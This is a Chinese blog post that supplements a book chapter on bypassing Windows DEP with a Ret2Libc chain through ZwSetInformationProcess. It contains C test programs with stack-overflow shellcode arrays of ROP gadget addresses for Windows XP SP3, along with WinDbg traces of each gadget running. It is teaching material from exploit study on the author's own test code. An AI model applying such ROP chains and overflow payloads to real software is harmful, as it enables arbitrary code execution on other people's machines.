<Oday安全 12.3.1Ret2Libc实战之利用ZwSetInformationProcess>一节补充

来源:互联网 发布:风月知相思蓝语凌云 编辑:程序博客网 时间:2024/06/06 07:25

    本文补充记录我在试验关闭DEP过程遇到的问题和解决方法。

1.首先要说一下用OllyFindAddr插件寻找目标指令时可能会遇到的问题。诚然这个插件是个好东西,能迅速列出需要的指令流的地址,但并不是所有在列的指令地址都可以使用,入选前需要仔细甄别。以关闭DEP保护流程中为抬高esp的值而使用"Find Pop Retn+n"功能为例:


经过搜索,插件罗列了一堆备选指令地址。我挑选最后一个地址"0x7D97FE43"来实现抬高esp的目的。


根据Memory map对话框显示的信息,被选的地址位于模块shell32.dll的资源节中。对于这样的地址,稍加思索就会猜想到当eip执行到资源节中会引发异常。当然这只是猜测,实际还是要验证一下。先修改shellcode,然后用windbg加载演示代码,会很明显的看到在执行retn 0x28后会触发访存失败:

#include <windows.h>/*\x52\xe2\x92\x7c->mov al,0x01;ret;\x85\x8b\x1d\x5d->push esp;pop ebp;retn 04;\x19\x4a\x97\x7c->retn 0x28是书中给出的地址<-------------\x43\xfe\x97\x7d->retn 0x28是本文用于演示的地址<----------\x13\x98\xd1\x7d->jmp esp\x24\xcd\x93\x7c->关闭DEP*/char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\"\x52\xe2\x92\x7c"\"\x85\x8b\x1d\x5d"\"\x43\xfe\x97\x7d"\"\x13\x98\xd1\x7d"\"\x24\xcd\x93\x7c"\"\x90\x90\x90\x90"};int test(){char arry[4] = {0};_asm int 3;strcpy(arry,shellcode);return 0;}

    你可能会问我为什么临时用windbg替换Od来演示这个例子?因为od遇到访存错误就直接进入进入第二轮异常分发的流程,不便于演示目的;而windbg停留在第一轮异常分发流程(等待用户输入)。下面是程序溢出后准备抬高esp而执行指令retn 28前的调试记录:

manualDep!test+0x2e:0040102e c3              ret0:000> t7c92e252 b801000000      mov     eax,1 ;调整eax的值0:000> t7c92e257 c3              ret0:000> t5d1d8b85 54              push    esp ;调整ebp的值0:000> t5d1d8b86 5d              pop     ebp0:000> t5d1d8b87 c20400          ret     4 ;抬高esp<----执行完ret 4就会准备执行ret 28
此时堆栈顶的内容----即执行ret 4时的返回地址为:0x7d97fe43,将该地址反汇编,得到指令ret 28h

0:000> r espesp=0012ff800:000> dd esp L40012ff80  7d97fe43 7dd19813 7c93cd24 909090900:000> u 7d97fe43  L1shell32!_pRawDllMain <PERF> (shell32+0x3efe43):7d97fe43 c22800          ret     28h
单步执行指令触发了异常,shellcode执行失败。异常发生时eip的值为0x7d97fe43,这正是ollyFindAddr给出的并被我随意采用的地址。 

0:000> t(32c.70): Access violation - code c0000005 (first chance) <--------访问内存异常First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000001 ebx=7ffde000 ecx=00406054 edx=00000000 esi=007efeb8 edi=00edf554eip=7d97fe43 esp=0012ff88 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246shell32!_pRawDllMain <PERF> (shell32+0x3efe43):7d97fe43 c22800          ret     28h
    由此证明,虽然od给出很多备选地址,但这些地址未必都是可用的。结论:挑选指令流的地址时要首选落在模块可执行节中的地址。

2.作者在结尾部分蜻蜓点水般的给出了在win2k3上关闭DEP的方法。不得不说作者实在太敷衍了,一行解释都没有,我硬生生的调了几天才明白背后的原理。请大家看我缓缓道来。为了缕清作者的思路和简化溢出的过程,我重写了一份简单的测试代码,直接将作者提到的用于修改esi的指令流写在测试代码中,免去用od搜寻地址的过程,如下(运行环境XpSp3+vc++6.0):

char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\   //这8B是为了溢出main函数中的buf及栈中的ebp"\x2a\x10\x40\x00"\ //这4B是程序加载时标签Lab1的地址,用于覆盖main函数的返回地址"\x2c\x10\x40\x00"\ //这4B是标签Lab2的地址"\x2e\x10\x40\x00"}; //最后4B是标签Lab3的地址int main(){_asm jmp Lab4; //Lab1-Lab3只为全局变量shellcode提供修改esi寄存器值的指令地址,并不直接参与程序的运行,因此用jmp语句跳到Lab4运行Lab1:__asm{pop eax;retn;}Lab2:__asm{pop esi;retn;}Lab3:__asm{push esp;jmp eax;}char buf[4] = {0};Lab4:memcpy(buf,shellcode,20); //shellcode中有0x00这样的字节,strcpy会截断字符串,所以替换为memcpy}
    代码注释中也写道main函数的返回地址被Lab1覆盖,这就不难想到执行ret前esp指向Lab1:

0:000> r eip,espeip=00401061 esp=0012ff84 ;返回前eip指向0x401061处ret指令0:000> ub eip L500401054 83c444          add     esp,44h00401057 3bec            cmp     ebp,esp00401059 e862030000      call    pushjmp!_chkesp (004013c0)0040105e 8be5            mov     esp,ebp00401060 5d              pop     ebp0:000> u eip L1pushjmp!main+0x51 [C:\Documents and Settings\Administrator\桌面\studio\pushjmp\pushjmp.cpp @ 34]:00401061 c3              ret
0:000> dd esp L8 ;返回前esp指向的栈内存0012ff84  0040102a 0040102c 0040102e 00430da0
从0x12FF84开始的3个DWORD值是shellcode覆盖后的指令流地址,可以反汇编确认一下这串地址背后的指令:

0:000> u 0040102a  L2 ;第一个DWORD值对应程序中的Lab10040102a 58              pop     eax0040102b c3              ret0:000> u 0040102c L2 ;第二个DWORD值对应程序中的Lab20040102c 5e              pop     esi0040102d c3              ret0:000> u 0040102e L2 ;第三个DWORD值对应程序中的Lab30040102e 54              push    esp0040102f ffe0            jmp     eax

    现在我们已经清楚堆栈的分布,那就让我们在脑海中模拟一下程序执行的流程:

执行0x401061处的ret指令---->栈顶0x12ff84保存的值为0x40102a。导致eip=0x40102a准备执行pop eax;ret指令流;同时栈指针esp指向0x12ff88:

0:000> t0040102a 58              pop     eax0:000> r eip,espeip=0040102a esp=0012ff88
pop eax---->从0x12ff88中取值传给eax,eax=0x40102c(此刻eax中保存了pop esi;ret指令流的地址),同时设置esp=0x12ff8c使得下面的ret指令从内存0x12ff8c中取返回地址,大家往前看看内存0x12ff8c处存放了哪条指令流的地址?对,就是Lab3后面的指令流!所以,请不要小看这条平淡的pop eax指令,它不仅把Lab2处的指令流地址传给寄存器eax,它还使程序在执行ret后跳过Lab2处的指令直接返回到0x40102e处执行Lab3处的指令。堪称神奇的一跳。

0:000> t ;单步执行pop eaxeax=0040102c ;请先记住eax的值,后面马上用到0040102b c3              ret0:000> r eaxeax=0040102c0:000> r espesp=0012ff8c0:000> u poi(esp) L2 ;反汇编栈顶指令,这是ret后的返回地址0040102e 54              push    esp0040102f ffe0            jmp     eax0:000> t ;再次单步执行ret,程序如约进入Lab30040102e 54              push    esp
    push esp的目的是为了讲堆栈指正赋给即将执行的pop esi使得esi指向可读写的内存。慢着,大家是否觉得我遗漏了什么?前面pop esi并没有被执行到,shellcode中其他再没有安排pop esp,怎么才能做到将esp的值赋给esi?请稍安勿躁接着看:

0:000> t0040102e 54              push    esp0:000> t0040102f ffe0            jmp     eax {pushjmp!main+0x1c (0040102c)}0:000> r eax ;执行jmp eax前看看eax保存的值及对应的汇编指令eax=0040102c0:000> u eax L20040102c 5e              pop     esi0040102d c3              ret
    啊,eax保存了程序中Lab2处的指令,这不就是从main函数ret时遇到的那个神奇的pop?这神奇的pop eax暂时冻结Lab2处代码的执行并保存到eax中,让eip先执行Lab3处的代码,然后解冻并从eax中迂回跳跃到Lab2中执行,太伟大了!

0:000> r esp,esiesp=0012ff8c esi=007e8c4c0:000> teax=0040102c esi=007e8c4ceip=0040102c esp=0012ff8cpushjmp!main+0x1c:0040102c 5e              pop     esi0:000> teax=0040102c esi=0012ff90eip=0040102d esp=0012ff900040102d c3              ret0:000> r esp,esiesp=0012ff90 esi=0012ff90
   最终shellcode成功的将esi修改为esp的值,使得esi指向的内存可读写。











0 0
原创粉丝点击